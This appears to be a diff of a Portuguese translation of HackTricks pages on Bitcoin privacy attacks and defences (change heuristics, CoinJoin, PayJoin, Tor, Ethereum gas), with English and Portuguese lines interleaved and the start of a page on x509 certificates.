## **Social Networks & Forums Exposure**
## **Exposição em Redes Sociais e Fóruns**
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
Os usuários às vezes compartilham seus endereços de Bitcoin online, tornando **fácil vincular o endereço ao seu proprietário**.
## **Transaction Graph Analysis**
## **Análise de Gráficos de Transação**
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
As transações podem ser visualizadas como gráficos, revelando potenciais conexões entre usuários com base no fluxo de fundos.
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
## **Heurística de Input Desnecessário (Heurística de Troca Ótima)**
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
### Example
Esta heurística é baseada na análise de transações com múltiplos inputs e outputs para adivinhar qual output é a troca retornando ao remetente.
### Exemplo
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Se adicionar mais entradas faz com que a saída de mudança seja maior do que qualquer entrada única, isso pode confundir a heurística.
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
## **Reutilização Forçada de Endereço**
## **Forced Address Reuse**
Os atacantes podem enviar pequenas quantias para endereços previamente utilizados, esperando que o destinatário combine essas quantias com outras entradas em transações futuras, ligando assim os endereços.
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
### Comportamento Correto da Carteira
### Correct Wallet Behavior
As carteiras devem evitar usar moedas recebidas em endereços já utilizados e vazios para prevenir esse vazamento de privacidade.
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
## **Outras Técnicas de Análise de Blockchain**
## **Other Blockchain Analysis Techniques**
- **Quantias de Pagamento Exatas:** Transações sem troco são provavelmente entre dois endereços pertencentes ao mesmo usuário.
- **Números Redondos:** Um número redondo em uma transação sugere que é um pagamento, com a saída não redonda provavelmente sendo o troco.
- **Impressão Digital de Carteira:** Diferentes carteiras têm padrões únicos de criação de transações, permitindo que analistas identifiquem o software utilizado e potencialmente o endereço de troco.
- **Correlações de Quantidade e Tempo:** Divulgar horários ou quantias de transações pode tornar as transações rastreáveis.
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
## **Análise de Tráfego**
## **Traffic Analysis**
Ao monitorar o tráfego da rede, os atacantes podem potencialmente vincular transações ou blocos a endereços IP, comprometendo a privacidade do usuário. Isso é especialmente verdadeiro se uma entidade operar muitos nós Bitcoin, aumentando sua capacidade de monitorar transações.
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
## Mais
## More
Para uma lista abrangente de ataques à privacidade e defesas, visite [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Transações Anônimas de Bitcoin
# Anonymous Bitcoin Transactions
## Formas de Obter Bitcoins Anonimamente
## Ways to Get Bitcoins Anonymously
- **Transações em Dinheiro**: Adquirir bitcoin através de dinheiro.
- **Alternativas em Dinheiro**: Comprar cartões-presente e trocá-los online por bitcoin.
- **Mineração**: O método mais privado para ganhar bitcoins é através da mineração, especialmente quando feito sozinho, pois pools de mineração podem conhecer o endereço IP do minerador. [Informações sobre Pools de Mineração](https://en.bitcoin.it/wiki/Pooled_mining)
- **Roubo**: Teoricamente, roubar bitcoin poderia ser outro método para adquiri-lo anonimamente, embora seja ilegal e não recomendado.
- **Cash Transactions**: Acquiring bitcoin through cash.
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
## Serviços de Mistura
## Mixing Services
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
Ao usar um serviço de mistura, um usuário pode **enviar bitcoins** e receber **bitcoins diferentes em troca**, o que dificulta o rastreamento do proprietário original. No entanto, isso requer confiança no serviço para não manter registros e realmente devolver os bitcoins. Opções alternativas de mistura incluem cassinos Bitcoin.
## CoinJoin
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
**CoinJoin** mescla várias transações de diferentes usuários em uma só, complicando o processo para quem tenta combinar entradas com saídas. Apesar de sua eficácia, transações com tamanhos de entrada e saída únicos ainda podem ser potencialmente rastreadas.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Transações de exemplo que podem ter usado CoinJoin incluem `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` e `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
Para mais informações, visite [CoinJoin](https://coinjoin.io/en). Para um serviço semelhante na Ethereum, confira [Tornado Cash](https://tornado.cash), que anonimiza transações com fundos de mineradores.
## PayJoin
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
Uma variante do CoinJoin, **PayJoin** (ou P2EP), disfarça a transação entre duas partes (por exemplo, um cliente e um comerciante) como uma transação regular, sem as características de saídas iguais distintivas do CoinJoin. Isso torna extremamente difícil a detecção e pode invalidar a heurística de propriedade de entrada comum usada por entidades de vigilância de transações.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Transações como a acima poderiam ser PayJoin, melhorando a privacidade enquanto permanecem indistinguíveis de transações padrão de bitcoin.
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
**A utilização de PayJoin poderia desestabilizar significativamente os métodos tradicionais de vigilância**, tornando-se um desenvolvimento promissor na busca pela privacidade transacional.
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
# Melhores Práticas para Privacidade em Criptomoedas
# Best Practices for Privacy in Cryptocurrencies
## **Técnicas de Sincronização de Carteiras**
## **Wallet Synchronization Techniques**
Para manter a privacidade e segurança, sincronizar carteiras com a blockchain é crucial. Dois métodos se destacam:
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
- **Nó completo**: Ao baixar toda a blockchain, um nó completo garante máxima privacidade. Todas as transações já realizadas são armazenadas localmente, tornando impossível para adversários identificar quais transações ou endereços o usuário está interessado.
- **Filtragem de blocos do lado do cliente**: Este método envolve a criação de filtros para cada bloco na blockchain, permitindo que carteiras identifiquem transações relevantes sem expor interesses específicos a observadores da rede. Carteiras leves baixam esses filtros, buscando blocos completos apenas quando uma correspondência com os endereços do usuário é encontrada.
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
## **Utilizando Tor para Anonimato**
## **Utilizing Tor for Anonymity**
Dado que o Bitcoin opera em uma rede peer-to-peer, é recomendado usar Tor para mascarar seu endereço IP, melhorando a privacidade ao interagir com a rede.
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
## **Prevenindo Reutilização de Endereços**
## **Preventing Address Reuse**
Para proteger a privacidade, é vital usar um novo endereço para cada transação. Reutilizar endereços pode comprometer a privacidade ao vincular transações à mesma entidade. Carteiras modernas desencorajam a reutilização de endereços por meio de seu design.
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
## **Estratégias para Privacidade de Transações**
## **Strategies for Transaction Privacy**
- **Múltiplas transações**: Dividir um pagamento em várias transações pode obscurecer o valor da transação, frustrando ataques à privacidade.
- **Evitar troco**: Optar por transações que não requerem saídas de troco melhora a privacidade ao interromper métodos de detecção de troco.
- **Múltiplas saídas de troco**: Se evitar troco não for viável, gerar múltiplas saídas de troco ainda pode melhorar a privacidade.
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
# **Monero: Um Farol de Anonimato**
# **Monero: A Beacon of Anonymity**
Monero aborda a necessidade de anonimato absoluto em transações digitais, estabelecendo um alto padrão para a privacidade.
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
# **Ethereum: Gas e Transações**
# **Ethereum: Gas and Transactions**
## **Entendendo Gas**
## **Understanding Gas**
Gas mede o esforço computacional necessário para executar operações no Ethereum, precificado em **gwei**. Por exemplo, uma transação que custa 2.310.000 gwei (ou 0,00231 ETH) envolve um limite de gas e uma taxa base, com uma gorjeta para incentivar os mineradores. Os usuários podem definir uma taxa máxima para garantir que não paguem a mais, com o excesso reembolsado.
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
## **Executando Transações**
## **Executing Transactions**
Transações no Ethereum envolvem um remetente e um destinatário, que podem ser endereços de usuário ou de contrato inteligente. Elas requerem uma taxa e devem ser mineradas. As informações essenciais em uma transação incluem o destinatário, a assinatura do remetente, o valor, dados opcionais, limite de gas e taxas. Notavelmente, o endereço do remetente é deduzido da assinatura, eliminando a necessidade de incluí-lo nos dados da transação.
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
Essas práticas e mecanismos são fundamentais para qualquer pessoa que deseje se envolver com criptomoedas enquanto prioriza a privacidade e a segurança.
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
## References
## Referências
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)

View File

@ -1,180 +1,176 @@
{{#include ../banners/hacktricks-training.md}}
## Basic Concepts
## Conceitos Básicos
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
- **Smart Contracts** são definidos como programas que executam em uma blockchain quando certas condições são atendidas, automatizando a execução de acordos sem intermediários.
- **Decentralized Applications (dApps)** se baseiam em smart contracts, apresentando uma interface amigável e um back-end transparente e auditável.
- **Tokens & Coins** diferenciam onde coins servem como dinheiro digital, enquanto tokens representam valor ou propriedade em contextos específicos.
- **Utility Tokens** concedem acesso a serviços, e **Security Tokens** significam propriedade de ativos.
- **DeFi** significa Finanças Descentralizadas, oferecendo serviços financeiros sem autoridades centrais.
- **DEX** e **DAOs** referem-se a Plataformas de Troca Descentralizadas e Organizações Autônomas Descentralizadas, respectivamente.
## Consensus Mechanisms
## Mecanismos de Consenso
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
Mecanismos de consenso garantem validações de transações seguras e acordadas na blockchain:
- **Proof of Work (PoW)** relies on computational power for transaction verification.
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
- **Proof of Work (PoW)** depende de poder computacional para verificação de transações.
- **Proof of Stake (PoS)** exige que validadores mantenham uma certa quantidade de tokens, reduzindo o consumo de energia em comparação ao PoW.
## Bitcoin Essentials
## Essenciais do Bitcoin
### Transactions
### Transações
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
Transações de Bitcoin envolvem a transferência de fundos entre endereços. As transações são validadas através de assinaturas digitais, garantindo que apenas o proprietário da chave privada possa iniciar transferências.
#### Key Components:
#### Componentes Chave:
- **Multisignature Transactions** require multiple signatures to authorize a transaction.
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
- **Transações Multisignature** requerem múltiplas assinaturas para autorizar uma transação.
- As transações consistem em **inputs** (fonte de fundos), **outputs** (destino), **fees** (pagas aos mineradores) e **scripts** (regras da transação).
### Lightning Network
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
Tem como objetivo melhorar a escalabilidade do Bitcoin permitindo múltiplas transações dentro de um canal, transmitindo apenas o estado final para a blockchain.
## Bitcoin Privacy Concerns
## Preocupações com a Privacidade do Bitcoin
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
Ataques à privacidade, como **Common Input Ownership** e **UTXO Change Address Detection**, exploram padrões de transação. Estratégias como **Mixers** e **CoinJoin** melhoram a anonimidade ao obscurecer os vínculos de transação entre os usuários.
## Acquiring Bitcoins Anonymously
## Adquirindo Bitcoins Anonimamente
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
Métodos incluem trocas em dinheiro, mineração e uso de mixers. **CoinJoin** mistura múltiplas transações para complicar a rastreabilidade, enquanto **PayJoin** disfarça CoinJoins como transações regulares para maior privacidade.
# Bitcoin Privacy Atacks
# Ataques à Privacidade do Bitcoin
# Summary of Bitcoin Privacy Attacks
# Resumo dos Ataques à Privacidade do Bitcoin
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
No mundo do Bitcoin, a privacidade das transações e a anonimidade dos usuários são frequentemente assuntos de preocupação. Aqui está uma visão simplificada de vários métodos comuns pelos quais atacantes podem comprometer a privacidade do Bitcoin.
## **Common Input Ownership Assumption**
## **Assunção de Propriedade de Input Comum**
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
É geralmente raro que inputs de diferentes usuários sejam combinados em uma única transação devido à complexidade envolvida. Assim, **dois endereços de input na mesma transação são frequentemente assumidos como pertencentes ao mesmo proprietário**.
## **UTXO Change Address Detection**
## **Detecção de Endereço de Troca UTXO**
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
Um UTXO, ou **Unspent Transaction Output**, deve ser totalmente gasto em uma transação. Se apenas uma parte dele for enviada para outro endereço, o restante vai para um novo endereço de troca. Observadores podem assumir que este novo endereço pertence ao remetente, comprometendo a privacidade.
### Example
### Exemplo
To mitigate this, mixing services or using multiple addresses can help obscure ownership.
Para mitigar isso, serviços de mistura ou o uso de múltiplos endereços podem ajudar a obscurecer a propriedade.
## **Social Networks & Forums Exposure**
## **Exposição em Redes Sociais e Fóruns**
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
Usuários às vezes compartilham seus endereços de Bitcoin online, tornando **fácil vincular o endereço ao seu proprietário**.
## **Transaction Graph Analysis**
## **Análise de Gráfico de Transações**
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
Transações podem ser visualizadas como gráficos, revelando potenciais conexões entre usuários com base no fluxo de fundos.
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
## **Heurística de Input Desnecessário (Heurística de Troca Ótima)**
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
### Example
Esta heurística é baseada na análise de transações com múltiplos inputs e outputs para adivinhar qual output é a troca retornando ao remetente.
### Exemplo
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Se adicionar mais entradas faz com que a saída de mudança seja maior do que qualquer entrada única, isso pode confundir a heurística.
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
## **Reutilização Forçada de Endereço**
## **Forced Address Reuse**
Os atacantes podem enviar pequenas quantias para endereços previamente utilizados, esperando que o destinatário combine essas quantias com outras entradas em transações futuras, ligando assim os endereços.
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
### Comportamento Correto da Carteira
### Correct Wallet Behavior
As carteiras devem evitar usar moedas recebidas em endereços já utilizados e vazios para prevenir esse vazamento de privacidade.
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
## **Outras Técnicas de Análise de Blockchain**
## **Other Blockchain Analysis Techniques**
- **Quantias de Pagamento Exatas:** Transações sem troco são provavelmente entre dois endereços pertencentes ao mesmo usuário.
- **Números Redondos:** Um número redondo em uma transação sugere que é um pagamento, com a saída não redonda provavelmente sendo o troco.
- **Impressão Digital de Carteira:** Diferentes carteiras têm padrões únicos de criação de transações, permitindo que analistas identifiquem o software utilizado e potencialmente o endereço de troco.
- **Correlações de Quantidade e Tempo:** Divulgar horários ou quantias de transações pode tornar as transações rastreáveis.
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
## **Análise de Tráfego**
## **Traffic Analysis**
Ao monitorar o tráfego da rede, os atacantes podem potencialmente vincular transações ou blocos a endereços IP, comprometendo a privacidade do usuário. Isso é especialmente verdadeiro se uma entidade operar muitos nós Bitcoin, aumentando sua capacidade de monitorar transações.
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
## Mais
## More
Para uma lista abrangente de ataques à privacidade e defesas, visite [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Transações Anônimas de Bitcoin
# Anonymous Bitcoin Transactions
## Formas de Obter Bitcoins Anonimamente
## Ways to Get Bitcoins Anonymously
- **Transações em Dinheiro**: Adquirir bitcoin através de dinheiro.
- **Alternativas em Dinheiro**: Comprar cartões-presente e trocá-los online por bitcoin.
- **Mineração**: O método mais privado para ganhar bitcoins é através da mineração, especialmente quando feito sozinho, pois pools de mineração podem conhecer o endereço IP do minerador. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Roubo**: Teoricamente, roubar bitcoin poderia ser outro método para adquiri-lo anonimamente, embora seja ilegal e não recomendado.
- **Cash Transactions**: Acquiring bitcoin through cash.
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
## Serviços de Mistura
## Mixing Services
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
Ao usar um serviço de mistura, um usuário pode **enviar bitcoins** e receber **bitcoins diferentes em troca**, o que dificulta o rastreamento do proprietário original. No entanto, isso requer confiança no serviço para não manter registros e realmente devolver os bitcoins. Opções alternativas de mistura incluem cassinos Bitcoin.
## CoinJoin
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
**CoinJoin** mescla várias transações de diferentes usuários em uma só, complicando o processo para quem tenta combinar entradas com saídas. Apesar de sua eficácia, transações com tamanhos de entrada e saída únicos ainda podem ser potencialmente rastreadas.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Transações de exemplo que podem ter usado CoinJoin incluem `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` e `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
Para mais informações, visite [CoinJoin](https://coinjoin.io/en). Para um serviço semelhante no Ethereum, confira [Tornado Cash](https://tornado.cash), que anonimiza transações com fundos de mineradores.
## PayJoin
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
Uma variante do CoinJoin, **PayJoin** (ou P2EP), disfarça a transação entre duas partes (por exemplo, um cliente e um comerciante) como uma transação regular, sem a característica distintiva de saídas iguais do CoinJoin. Isso torna extremamente difícil de detectar e pode invalidar a heurística de propriedade de entrada comum usada por entidades de vigilância de transações.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Transações como a acima poderiam ser PayJoin, melhorando a privacidade enquanto permanecem indistinguíveis de transações padrão de bitcoin.
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
**A utilização de PayJoin poderia desestabilizar significativamente os métodos tradicionais de vigilância**, tornando-se um desenvolvimento promissor na busca pela privacidade transacional.
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
# Melhores Práticas para Privacidade em Criptomoedas
# Best Practices for Privacy in Cryptocurrencies
## **Técnicas de Sincronização de Carteiras**
## **Wallet Synchronization Techniques**
Para manter a privacidade e segurança, sincronizar carteiras com a blockchain é crucial. Dois métodos se destacam:
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
- **Nó completo**: Ao baixar toda a blockchain, um nó completo garante máxima privacidade. Todas as transações já realizadas são armazenadas localmente, tornando impossível para adversários identificar quais transações ou endereços o usuário está interessado.
- **Filtragem de blocos do lado do cliente**: Este método envolve a criação de filtros para cada bloco na blockchain, permitindo que carteiras identifiquem transações relevantes sem expor interesses específicos a observadores da rede. Carteiras leves baixam esses filtros, buscando blocos completos apenas quando uma correspondência com os endereços do usuário é encontrada.
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
## **Utilizando Tor para Anonimato**
## **Utilizing Tor for Anonymity**
Dado que o Bitcoin opera em uma rede peer-to-peer, é recomendado usar Tor para ocultar seu endereço IP, melhorando a privacidade ao interagir com a rede.
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
## **Prevenindo Reutilização de Endereços**
## **Preventing Address Reuse**
Para proteger a privacidade, é vital usar um novo endereço para cada transação. Reutilizar endereços pode comprometer a privacidade ao vincular transações à mesma entidade. Carteiras modernas desencorajam a reutilização de endereços por meio de seu design.
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
## **Estratégias para Privacidade de Transações**
## **Strategies for Transaction Privacy**
- **Múltiplas transações**: Dividir um pagamento em várias transações pode obscurecer o valor da transação, frustrando ataques à privacidade.
- **Evitar troco**: Optar por transações que não requerem saídas de troco melhora a privacidade ao interromper métodos de detecção de troco.
- **Múltiplas saídas de troco**: Se evitar troco não for viável, gerar múltiplas saídas de troco ainda pode melhorar a privacidade.
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
# **Monero: Um Farol de Anonimato**
# **Monero: A Beacon of Anonymity**
Monero atende à necessidade de anonimato absoluto em transações digitais, estabelecendo um alto padrão para a privacidade.
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
# **Ethereum: Gas e Transações**
# **Ethereum: Gas and Transactions**
## **Entendendo Gas**
## **Understanding Gas**
Gas mede o esforço computacional necessário para executar operações no Ethereum, precificado em **gwei**. Por exemplo, uma transação que custa 2.310.000 gwei (ou 0,00231 ETH) envolve um limite de gas e uma taxa base, com uma gorjeta para incentivar os mineradores. Os usuários podem definir uma taxa máxima para garantir que não paguem a mais, com o excesso reembolsado.
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
## **Executando Transações**
## **Executing Transactions**
Transações no Ethereum envolvem um remetente e um destinatário, que podem ser endereços de usuário ou de contrato inteligente. Elas requerem uma taxa e devem ser mineradas. As informações essenciais em uma transação incluem o destinatário, a assinatura do remetente, o valor, dados opcionais, limite de gas e taxas. Notavelmente, o endereço do remetente é deduzido da assinatura, eliminando a necessidade de incluí-lo nos dados da transação.
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
Essas práticas e mecanismos são fundamentais para qualquer pessoa que deseje se envolver com criptomoedas enquanto prioriza a privacidade e a segurança.
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
## References
## Referências
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)

View File

@ -1,47 +1,38 @@
# Certificates
# Certificados
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
## O que é um Certificado
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
Um **certificado de chave pública** é uma ID digital usada em criptografia para provar que alguém possui uma chave pública. Ele inclui os detalhes da chave, a identidade do proprietário (o sujeito) e uma assinatura digital de uma autoridade confiável (o emissor). Se o software confia no emissor e a assinatura é válida, a comunicação segura com o proprietário da chave é possível.
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
Os certificados são emitidos principalmente por [autoridades certificadoras](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) em uma [infraestrutura de chave pública](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Outro método é a [rede de confiança](https://en.wikipedia.org/wiki/Web_of_trust), onde os usuários verificam diretamente as chaves uns dos outros. O formato comum para certificados é [X.509](https://en.wikipedia.org/wiki/X.509), que pode ser adaptado para necessidades específicas conforme descrito na RFC 5280.
## What is a Certificate
## Campos Comuns x509
A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible.
### **Campos Comuns em Certificados x509**
Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each others keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280.
Em certificados x509, vários **campos** desempenham papéis críticos na garantia da validade e segurança do certificado. Aqui está uma análise desses campos:
## x509 Common Fields
- **Número da Versão** significa a versão do formato x509.
- **Número de Série** identifica exclusivamente o certificado dentro do sistema de uma Autoridade Certificadora (CA), principalmente para rastreamento de revogação.
